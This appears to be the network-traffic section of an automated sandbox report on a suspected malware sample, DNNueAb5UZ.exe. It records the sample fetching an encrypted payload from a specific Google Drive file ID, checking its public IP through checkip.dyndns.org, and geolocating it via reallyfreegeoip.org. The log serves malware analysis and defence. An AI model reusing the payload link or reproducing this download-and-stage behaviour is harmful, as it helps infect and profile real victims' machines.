Mar 7, 2025 21:08:20.710736990 CET	192.168.2.6	1.1.1.1	0xeb2f	Standard query (0)	reallyfreegeoip.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Mar 7, 2025 21:08:08.793026924 CET	1.1.1.1	192.168.2.6	0xdc78	No error (0)	drive.google.com		142.250.185.238	A (IP address)	IN (0x0001)	false
Mar 7, 2025 21:08:11.965106010 CET	1.1.1.1	192.168.2.6	0x6792	No error (0)	drive.usercontent.google.com		142.250.181.225	A (IP address)	IN (0x0001)	false
Mar 7, 2025 21:08:18.662384987 CET	1.1.1.1	192.168.2.6	0x4077	No error (0)	checkip.dyndns.org	checkip.dyndns.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 7, 2025 21:08:18.662384987 CET	1.1.1.1	192.168.2.6	0x4077	No error (0)	checkip.dyndns.com		132.226.8.169	A (IP address)	IN (0x0001)	false
Mar 7, 2025 21:08:18.662384987 CET	1.1.1.1	192.168.2.6	0x4077	No error (0)	checkip.dyndns.com		193.122.130.0	A (IP address)	IN (0x0001)	false
Mar 7, 2025 21:08:18.662384987 CET	1.1.1.1	192.168.2.6	0x4077	No error (0)	checkip.dyndns.com		158.101.44.242	A (IP address)	IN (0x0001)	false
Mar 7, 2025 21:08:18.662384987 CET	1.1.1.1	192.168.2.6	0x4077	No error (0)	checkip.dyndns.com		193.122.6.168	A (IP address)	IN (0x0001)	false
Mar 7, 2025 21:08:18.662384987 CET	1.1.1.1	192.168.2.6	0x4077	No error (0)	checkip.dyndns.com		132.226.247.73	A (IP address)	IN (0x0001)	false
Mar 7, 2025 21:08:20.719610929 CET	1.1.1.1	192.168.2.6	0xeb2f	No error (0)	reallyfreegeoip.org		104.21.112.1	A (IP address)	IN (0x0001)	false
Mar 7, 2025 21:08:20.719610929 CET	1.1.1.1	192.168.2.6	0xeb2f	No error (0)	reallyfreegeoip.org		104.21.64.1	A (IP address)	IN (0x0001)	false
Mar 7, 2025 21:08:20.719610929 CET	1.1.1.1	192.168.2.6	0xeb2f	No error (0)	reallyfreegeoip.org		104.21.16.1	A (IP address)	IN (0x0001)	false
Mar 7, 2025 21:08:20.719610929 CET	1.1.1.1	192.168.2.6	0xeb2f	No error (0)	reallyfreegeoip.org		104.21.48.1	A (IP address)	IN (0x0001)	false
Mar 7, 2025 21:08:20.719610929 CET	1.1.1.1	192.168.2.6	0xeb2f	No error (0)	reallyfreegeoip.org		104.21.32.1	A (IP address)	IN (0x0001)	false
Mar 7, 2025 21:08:20.719610929 CET	1.1.1.1	192.168.2.6	0xeb2f	No error (0)	reallyfreegeoip.org		104.21.80.1	A (IP address)	IN (0x0001)	false
Mar 7, 2025 21:08:20.719610929 CET	1.1.1.1	192.168.2.6	0xeb2f	No error (0)	reallyfreegeoip.org		104.21.96.1	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

drive.google.com

drive.usercontent.google.com

reallyfreegeoip.org

checkip.dyndns.org

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49691	132.226.8.169	80	7784	C:\Users\user\Desktop\DNNueAb5UZ.exe

Timestamp	Bytes transferred	Direction	Data
Mar 7, 2025 21:08:18.671921968 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Mar 7, 2025 21:08:19.941351891 CET	273	IN	HTTP/1.1 200 OK Date: Fri, 07 Mar 2025 20:08:19 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>
Mar 7, 2025 21:08:19.948632956 CET	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Mar 7, 2025 21:08:20.222026110 CET	273	IN	HTTP/1.1 200 OK Date: Fri, 07 Mar 2025 20:08:20 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>
Mar 7, 2025 21:08:22.945456982 CET	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Mar 7, 2025 21:08:23.205585003 CET	273	IN	HTTP/1.1 200 OK Date: Fri, 07 Mar 2025 20:08:23 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	49694	132.226.8.169	80	7784	C:\Users\user\Desktop\DNNueAb5UZ.exe

Timestamp	Bytes transferred	Direction	Data
Mar 7, 2025 21:08:25.772249937 CET	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Mar 7, 2025 21:08:26.748162031 CET	273	IN	HTTP/1.1 200 OK Date: Fri, 07 Mar 2025 20:08:26 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.6	49696	132.226.8.169	80	7784	C:\Users\user\Desktop\DNNueAb5UZ.exe

Timestamp	Bytes transferred	Direction	Data
Mar 7, 2025 21:08:28.891089916 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Mar 7, 2025 21:08:29.727588892 CET	273	IN	HTTP/1.1 200 OK Date: Fri, 07 Mar 2025 20:08:29 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49689	142.250.185.238	443	7784	C:\Users\user\Desktop\DNNueAb5UZ.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-07 20:08:10 UTC	216	OUT	GET /uc?export=download&id=1G5-zM6LVeauFMXFUnDmZ00MCvbc_b31K HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0 Host: drive.google.com Cache-Control: no-cache
2025-03-07 20:08:11 UTC	1610	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 07 Mar 2025 20:08:11 GMT Location: https://drive.usercontent.google.com/download?id=1G5-zM6LVeauFMXFUnDmZ00MCvbc_b31K&export=download Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: script-src 'nonce-qaacgsMQOeffVu19XcfsIA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	49690	142.250.181.225	443	7784	C:\Users\user\Desktop\DNNueAb5UZ.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-07 20:08:13 UTC	258	OUT	GET /download?id=1G5-zM6LVeauFMXFUnDmZ00MCvbc_b31K&export=download HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0 Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive
2025-03-07 20:08:17 UTC	5025	IN	HTTP/1.1 200 OK X-GUploader-UploadID: AKDAyItOxBnHpqJk1CQppzYjNtKCI3ebaXrjVYyg7yVj2tEf_DmVPCHQ8B8SQP0lR6jhv5nXXpmQa88 Content-Type: application/octet-stream Content-Security-Policy: sandbox Content-Security-Policy: default-src 'none' Content-Security-Policy: frame-ancestors 'none' X-Content-Security-Policy: sandbox Cross-Origin-Opener-Policy: same-origin Cross-Origin-Embedder-Policy: require-corp Cross-Origin-Resource-Policy: same-site X-Content-Type-Options: nosniff Content-Disposition: attachment; filename="fbHUospgkUaodGc161.bin" Access-Control-Allow-Origin: * Access-Control-Allow-Credentials: false Access-Control-Allow-Headers: Accept, Accept-Language, Authorization, Cache-Control, Content-Disposition, Content-Encoding, Content-Language, Content-Length, Content-MD5, Content-Range, Content-Type, Date, developer-token, financial-institution-id, X-Goog-Sn-Metadata, X-Goog-Sn-PatientId, GData-Version, google-cloud-resource-prefix, linked-customer-id, login-customer-id, x-goog-request-params, Host, If-Match, If-Modified-Since, If-None-Match, If-Unmodified-Since, Origin, OriginToken, Pragma, Range, request-id, Slug, Transfer-Encoding, hotrod-board-name, hotrod-chrome-cpu-model, hotrod-chrome-processors, Want-Digest, X-Ad-Manager-Impersonation, x-chrome-connected, X-ClientDetails, X-Client-Pctx, X-Client-Version, x-debug-settings-metadata, X-Firebase-Locale, X-Goog-Firebase-Installations-Auth, X-Firebase-Client, X-Firebase-Client-Log-Type, X-Firebase-GMPID, X-Firebase-Auth-Token, X-Firebase-AppCheck, X-Firebase-Token, X-Goog-Drive-Client-Version, X-Goog-Drive-Resource-Keys, X-GData-Client, X-GData-Key, X-GoogA [TRUNCATED] Access-Control-Allow-Methods: GET,HEAD,OPTIONS Accept-Ranges: bytes Content-Length: 246336 Last-Modified: Tue, 18 Feb 2025 08:51:20 GMT Date: Fri, 07 Mar 2025 20:08:16 GMT Expires: Fri, 07 Mar 2025 20:08:16 GMT Cache-Control: private, max-age=0 X-Goog-Hash: crc32c=hz2dWA== Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2025-03-07 20:08:17 UTC	5025	IN	Data Raw: c6 22 3d ec d9 8d 3f fc e3 82 31 e8 ff 9e 33 aa 47 a2 56 a8 0c 04 b5 4f e3 81 85 a5 ba 95 e6 c4 55 3b 88 80 f2 55 64 8e ff 0c 2d 59 b4 84 55 38 d4 54 80 ba f8 4e 76 5a d7 f3 4a 96 ae a0 2a c8 0f cb 4a 6c cb 68 ec 1a 51 30 6e 07 5d 0a 78 ae 49 6d 1d 27 ee 41 d7 c3 72 ad ab 1e 84 b3 d1 14 bd b7 7f 49 24 e1 7c 52 75 6f 91 fc 20 c4 15 6f 07 28 36 39 3a 5a c0 9c 14 3f 44 36 f8 e9 fd 81 1e e7 2f 8d e3 3a 0b aa 86 01 0b 01 8f ab 35 cb 2d 17 05 c5 50 df 36 f7 ba b6 ff c5 40 72 20 d8 8c 9f f0 e4 d6 7a 1b 25 5c 20 ab 19 7a 2d 8e 98 c1 0a f2 f0 e6 5f 93 c0 16 39 2b 67 ae 06 9e d4 ec 9d 48 a4 02 7b e5 a3 f2 ef 41 ae f7 d8 22 57 3a ec 6b 3b 48 ca 71 16 ab 0d ae c6 f5 e1 1c 50 37 b8 ff 8c 57 b4 9c 56 85 b5 c0 29 cb 71 43 bc 21 f8 22 fd a4 e1 96 5e ca 59 a5 9f 59 a2 38 Data Ascii: "=?13GVOU;Ud-YU8TNvZJ*JlhQ0n]xIm'ArI$\|Ruo o(69:Z?D6/:5-P6@r z%\ z-_9+gH{A"W:k;HqP7WV)qC!"^YY8
2025-03-07 20:08:17 UTC	4647	IN	Data Raw: bb 45 c8 65 53 70 9b ea 73 86 cc 9d d8 5c 6b 0a dd 2f 18 59 f6 d1 a2 2e d5 15 3a 61 3c cb f8 99 2a 07 7f 68 4b 87 a0 93 b9 e1 e1 d4 5e e3 57 12 5e 91 84 46 62 aa 8e f2 69 86 7f e9 40 e2 14 f7 4c b9 3a fe 1f c8 02 be 26 d1 41 9d b2 10 61 a2 d4 df e8 74 6b de 2f 7f 64 80 54 d3 cc 85 99 d4 0f 49 66 f5 c6 7f 39 f6 c4 21 e8 4e e7 ce 28 7c bc 51 9b 83 e2 dc a5 93 1f 70 74 f5 61 db f7 9c a2 e3 2e 44 a3 f3 31 69 6e 1c 14 d1 f5 ed 0e 2a 9b f1 65 55 e2 41 71 c4 7a 55 bb a3 29 06 3e ce 5a 37 47 ed c0 b6 a2 8a ed 17 8b 2b b7 28 4d fc b3 f5 4a 39 13 44 6d 4d 6f fc fd 21 cb 3b e6 4d 67 db f1 ed fe 2c 5b bf 26 7b 3b f8 8e 21 c2 5e da ff 6f 3a 09 17 80 38 b1 83 8c 02 25 25 e5 36 67 03 fe 79 3d e2 71 6f a7 48 e2 81 ac ea ff 42 38 1e 60 f8 50 ef 36 4a e2 e3 b3 27 25 7f 82 Data Ascii: EeSps\k/Y.:a<hK^W^Fbi@L:&Aatk/dTIf9!N(\|Qpta.D1ineUAqzU)>Z7G+(MJ9DmMo!;Mg,[&{;!^o:8%%6gy=qoHB8`P6J'%
2025-03-07 20:08:17 UTC	1323	IN	Data Raw: 52 c9 3a 52 a1 03 10 ca db e9 ff 3a a8 32 3b 0f 1e 27 ab 43 94 9e 28 ee 61 18 c9 fe f7 9a b6 67 cd 59 47 f3 bd a2 df d0 8f b3 fa 11 0b 51 96 02 91 d4 18 b4 a5 37 c4 cf cf 38 64 a9 b4 54 17 71 18 f1 0a 13 4a 82 7b ce 81 9d 51 e3 b7 b6 f1 a4 2b b7 1e df 1d 8e dc dc b5 ea e1 47 5b dc bb 50 0d 5e 2e 76 c5 59 67 fa bd f4 f4 40 f8 14 e0 82 bd f3 96 12 e4 cf f2 89 02 f2 d8 c7 9e 93 7e 05 a2 27 e8 77 d3 b8 0f e8 af d3 f0 01 1a f2 59 9d e6 31 11 ac fc dc e2 97 e7 f8 bc 5e f7 00 c7 bd bf e0 a1 e2 3c 72 f3 89 53 f2 71 40 46 25 fa af 61 07 31 7c 91 e9 21 3b a0 29 67 f7 6a cc 87 3f 60 ef 22 80 66 8f 63 da 30 04 66 25 7c c1 15 26 9f d3 e2 6d ea 83 c4 42 4b 9e f0 3e 16 5a 7d 9b 3a e9 a9 cb 9a 3d 28 5d b3 9a 2c 19 e1 40 55 e7 31 b9 ea d9 37 88 0e 7f 7f 3c e4 24 34 8d 7a Data Ascii: R:R:2;'C(agYGQ78dTqJ{Q+G[P^.vYg@~'wY1^<rSq@F%a1\|!;)gj?`"fc0f%\|&mBK>Z}:=(],@U17<$4z
2025-03-07 20:08:17 UTC	1378	IN	Data Raw: c2 25 2c fa 45 c8 ac 77 66 e9 63 63 86 bc 3f fd 4b 43 bc dd 2f 12 fa d3 c9 d0 e0 c6 15 4a 1b 18 d2 d0 3f 2a 07 75 8c 6e 9d d3 e9 9b e2 91 c7 76 94 57 01 54 33 bd 31 62 82 e1 e1 77 fe f9 fc 68 c8 6a e8 46 ba 51 8a 56 c8 08 db 32 64 53 97 c2 3f 3d b2 59 b8 f9 6a 7b a5 60 3a 64 8a 52 d4 16 9d f0 d4 0f 66 49 ae af 7f 33 ef b4 4b c0 2c ed c2 22 d1 d7 51 9b 89 f1 a6 91 82 1b 7c 11 13 0f db 87 80 99 65 2e 55 ac 96 a2 68 7d 36 16 f7 dd 25 0c 45 f5 d9 3f 5f e2 95 62 49 2a 53 97 aa 1d 16 23 f4 55 37 3d 4f 39 b0 8e 53 82 17 81 83 9f ee 31 a9 ad f0 16 93 27 58 7c 74 6f fc f3 83 32 ff 9a 34 79 df ad 47 ca 33 4a 94 26 7b 35 5a 77 34 98 a9 d5 ff 15 92 ff 6c 80 3f 97 eb d7 6d 24 2f f6 1d 7c 52 b9 53 3d e3 54 78 e1 a9 f0 83 dc 11 da 5e 74 a8 6e f8 5a 4d 13 50 90 f9 bc 0a Data Ascii: %,Ewfcc?KC/J?unvWT31bwhjFQV2dS?=Yj{`:dRfI3K,"Q\|e.Uh}6%E?_bIS#U7=O9S1'X\|to24yG3J&{5Zw4l?m$/\|RS=Tx^tnZMP
2025-03-07 20:08:17 UTC	1378	IN	Data Raw: b4 71 96 a0 85 0d d6 a1 e3 6d c3 09 3f 2b 37 d9 02 6b f4 de aa 45 cb cb e6 20 52 11 d0 41 38 1a 2f 5e 7a 0a d0 14 c8 20 bf 3e a6 dd ac 1a b8 a8 a1 3a e0 32 05 db f7 9c 83 d9 33 d3 27 7c 71 dd fd e6 54 32 16 bb 5e 57 c2 f9 8b 64 24 34 04 96 a9 7a dc 82 d7 52 67 78 c4 dd 85 b2 db 80 82 4f 5d 25 75 c0 e9 d3 98 29 cc 25 4d 2d e2 1b 9e d5 99 56 65 8b 1f 5c bb 04 fd 86 b3 9e 14 13 5f 14 bf c4 9f c9 19 1c 94 6b 66 9f 0b b8 e5 e8 3c 74 dc 82 ff 1a 3d d8 7d 46 5c 5e e1 22 30 3a 40 6c 7b 2a af bb 0e e6 91 be 74 8c 97 b1 1b b6 df 03 98 ad dd 6b 43 c7 47 4e b4 ab 29 ae 2f 6f 57 4e 27 fc e1 f3 c8 7c ed 07 33 03 18 8d d0 51 83 35 c4 cb 92 6a ea 43 7b 9d c0 29 6c 0d 76 ab 68 cf 65 8c 42 26 21 d5 30 4c 22 23 d7 11 78 2f 9b 84 03 66 34 85 ac 5e 68 ec ba 6b c8 5f d6 70 68 Data Ascii: qm?+7kE RA8/^z >:23'\|qT2^Wd$4zRgxO]%u)%M-Ve\_kf<t=}F\^"0:@l{*tkCGN)/oWN'\|3Q5jC{)lvheB&!0L"#x/f4^hk_ph
2025-03-07 20:08:17 UTC	1378	IN	Data Raw: 4e c1 71 ca 59 90 77 8b 9c bc be f9 41 1e 82 cd da 3a 12 e5 ed c6 57 0c f8 17 05 92 a8 6f 0b 4d 0e 6e 77 d9 b2 a9 31 90 f0 f0 57 1a f2 59 8e c9 31 38 de fc dc e9 4a 8c fe 35 c0 f7 0c 4d c3 8d e0 b2 d6 4a e7 ad 89 23 e4 46 c3 46 34 f0 a4 12 47 22 7a 81 ca 0e 86 ab 3c 67 f9 e7 e9 90 13 a4 8e 32 8a b4 bc 53 2b 65 0b 6c 43 20 e5 1f 5f b6 d4 db 5f 49 a6 de 30 26 6f f6 73 b4 7f 60 96 45 e9 a9 c5 dd b7 28 5d b3 38 7a c7 93 75 4b f4 49 0a ca d0 0d 88 04 70 24 48 e4 24 34 e5 d1 f4 ce 61 23 1c 8b 86 5e 9d 28 56 b1 9f d8 fa 33 90 79 33 3e 9e 9a 49 37 7e 14 75 4e a5 af a8 4f 45 3e 68 25 96 e3 75 74 39 80 07 7c 24 e4 f9 be da e1 88 8e e1 da 2c 6c fd d8 82 d6 2d 95 dd 46 66 e0 a5 06 b2 af 90 4b d4 11 cb 67 96 a8 45 5f f2 14 e6 c4 80 e8 6b 4e be 0a d6 bf 30 88 ca 6c b8 Data Ascii: NqYwA:WoMnw1WY18J5MJ#FF4G"z<g2S+elC __I0&os`E(]8zuKIp$H$4a#^(V3y3>I7~uNOE>h%ut9\|$,l-FfKgE_kN0l
2025-03-07 20:08:17 UTC	1378	IN	Data Raw: 9f 75 d7 7f 2d a1 ab 38 04 23 d0 4b 37 3d fb 34 24 a6 e5 88 01 75 20 a9 e3 52 e9 9b 26 66 31 02 57 2a 34 6f fc fd 21 37 e5 e4 4d 76 f7 a4 e5 ef 22 34 af 32 53 e5 f8 52 22 f9 38 a8 ce 74 30 a7 65 ad 3f 9d 80 f9 5a 35 25 95 2d 71 f7 2d 53 3d e8 62 79 e1 01 f3 83 dc 9b a9 49 5c 14 7d e0 41 f7 44 2c e5 ac c3 65 8f 7f 8c 2e 7d 7b fa 55 46 7a d1 53 95 bf c3 ca 45 1e 40 89 c2 38 03 f7 a3 76 e1 a0 46 bb a2 91 cc d6 b7 09 c1 f0 26 ac b3 1f 1e 4f 8e 3a a0 e2 96 2b 58 1d 59 71 03 c7 54 55 d3 3a 51 25 b1 f0 6d 30 66 77 fd a3 f4 3a 54 8f 30 aa d4 d6 e9 b9 27 d6 ba 51 b9 69 e6 47 48 7c 6a 91 fe b4 7d 05 8b 96 8b 5a da 31 ac 09 f0 75 1e 51 79 08 90 0e 1d 88 f1 04 fb df fe 83 33 ed b3 00 f9 9a d6 1c 3f 1f 5c a5 e0 64 df cd d9 27 e6 97 0a 0c 06 3b 30 ab b0 5a 57 90 cb 1e Data Ascii: u-8#K7=4$u R&f1W*4o!7Mv"42SR"8t0e?Z5%-q-S=byI\}AD,e.}{UFzSE@8vF&O:+XYqTU:Q%m0fw:T0'QiGH\|j}Z1uQy3?\d';0ZW
2025-03-07 20:08:17 UTC	1378	IN	Data Raw: fe 7b f3 22 7c 25 40 6c ce 82 b5 c5 36 e7 b4 ac a8 ed 8d c3 f4 8e db 73 3a 83 c5 d0 43 cd 22 f4 1b bd 23 de 79 1f 57 4e 29 f1 47 f3 c8 72 d6 4a 22 05 7d 22 cf 51 89 20 eb ee 41 6a e0 eb 6f f7 e8 01 d0 09 05 68 1c 4b 6f 9f 4b 53 10 d2 42 1f 40 b6 a5 7e b5 39 b3 0d 03 61 40 d1 52 5f 7f 9b e8 62 e4 57 b4 c6 7f ce 8b 72 78 a5 50 ee 81 72 0e 6b e4 77 9f 67 1f 39 ae ed 18 b8 8b ff a4 e9 c6 9e 29 11 12 4a 4c c6 a9 7f 77 e5 af 51 5c 7f 56 95 18 93 22 b8 cc 3e f5 79 af 7f 22 e1 ec 46 18 8e b3 98 d0 71 41 e8 21 6e b2 76 f3 a3 33 3d 04 a4 88 65 11 1d 0b 5b 75 59 b2 c0 47 26 2f f7 ae a6 03 a2 a7 5f f1 2f ec 9d c7 3d 5a a6 d2 11 40 db 80 74 3a 38 45 d3 16 9a 3b 85 2f 0c 87 d1 78 51 f6 45 e0 4f c6 06 f8 5a c4 fe 40 f4 a3 5d 11 b6 1a d1 7f 93 f4 84 3b 03 f8 66 4a e5 eb Data Ascii: {"\|%@l6s:C"#yWN)GrJ"}"Q AjohKoKSB@~9a@R_bWrxPrkwg9)JLwQ\V">y"FqA!nv3=e[uYG&/_/=Z@t:8E;/xQEOZ@];fJ
2025-03-07 20:08:17 UTC	1378	IN	Data Raw: ff f8 a9 7f e2 be a9 eb 77 5b 84 88 8c 05 b5 6c 7c aa a9 73 df f2 e9 3c 33 1e 9a 38 7d 2f 72 d1 64 4e d1 e8 07 4f 45 32 b8 5a 8e 9d 43 62 11 07 a5 59 34 80 02 af d0 97 13 1f fd c1 a1 53 ce d8 83 f7 49 72 58 56 16 86 2f a0 a5 87 2c 5d 2a 1a 62 45 b7 fe b7 49 f2 70 94 b7 99 c0 dc 66 93 00 74 90 58 e3 bb 7e c8 18 4e 32 22 30 6e 0d 00 dd 0f ae f1 67 0e 38 9c 6c c0 c3 42 d3 b4 1e 84 b7 f9 5d bd b7 75 3b 91 f3 7c 22 5d 2c 91 fc 26 d5 0a 7e 12 00 73 39 3a 5c c0 41 61 3e 44 36 5d c1 c9 81 10 f2 86 a3 e3 a6 60 67 a7 b3 d4 4d 42 8a 61 a3 3a 50 25 b5 26 c2 c4 87 db ab c9 8e a2 1c 4e bd ee 41 93 92 d7 19 4f 72 b2 49 c5 39 16 38 dd b8 a6 78 1b d4 c8 52 9f ef 24 4b 02 71 ae 76 3c f1 ab f0 fe a4 4e 70 44 86 82 27 9a c6 f7 a8 80 72 23 92 53 3b a8 ce d1 32 ba 7e cf c5 f5 Data Ascii: w[l\|s<38}/rdNOE2ZCbY4SIrXV/,]*bEIpftX~N2"0ng8lB]u;\|"],&~s9:\Aa>D6]`gMBa:P%&NAOrI98xR$Kqv<NpD'r#S;2~
2025-03-07 20:08:17 UTC	1378	IN	Data Raw: 3d a6 16 59 60 03 d6 7c 3b c4 2b 48 ab cc 61 35 0d 66 7d fb c1 8d 55 f8 85 18 c4 d4 c7 fb d6 8e 14 ba 5b a0 61 fb 4d 2b 79 50 91 f4 a3 14 d7 91 e5 2a 35 1e 3b bf 1f e1 78 7d 43 bc 08 9a 17 7e a4 ed 6b 52 b0 38 89 33 f6 a9 7e 59 e8 51 06 3f 7e 6f 7c 3b 64 d5 b5 44 37 de 24 22 57 06 3b 3a d2 5f 22 57 9a c1 0f 25 f1 5f 65 64 b0 2b 08 5a 40 e0 8e 60 e0 3a 82 59 b2 8a d1 43 40 8d 3e 10 60 55 c3 6e 3a f0 7f b6 a0 62 2c 2c d7 f7 2a 1a 31 42 bb 23 6d ae fa f3 dd 8a 00 94 8f 41 6f 5e 3d 50 94 49 91 8c ec ed 70 c5 f2 0c 11 ee fe c9 1a bc e8 bf 4f f2 90 f8 a0 c8 3b f7 38 92 b1 bc 98 fb 93 06 7a 80 31 52 a2 bb 4e 38 d7 2b 88 e6 84 5a 93 ff 84 c6 09 79 19 35 4b e5 e2 23 7e 9b 74 46 75 4f a8 79 52 76 44 0d 13 2c cc af 1b 5f ec b9 80 8f 00 95 c1 d0 69 48 ae ca 48 7e 89 Data Ascii: =Y`\|;+Ha5f}U[aM+yP5;x}C~kR83~YQ?~o\|;dD7$"W;:_"W%_ed+Z@`:YC@>`Un:b,,1B#mAo^=PIpO;8z1RN8+Zy5K#~tFuOyRvD,_iHH~

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.6	49692	104.21.112.1	443	7784	C:\Users\user\Desktop\DNNueAb5UZ.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-07 20:08:22 UTC	85	OUT	GET /xml/8.46.123.189 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
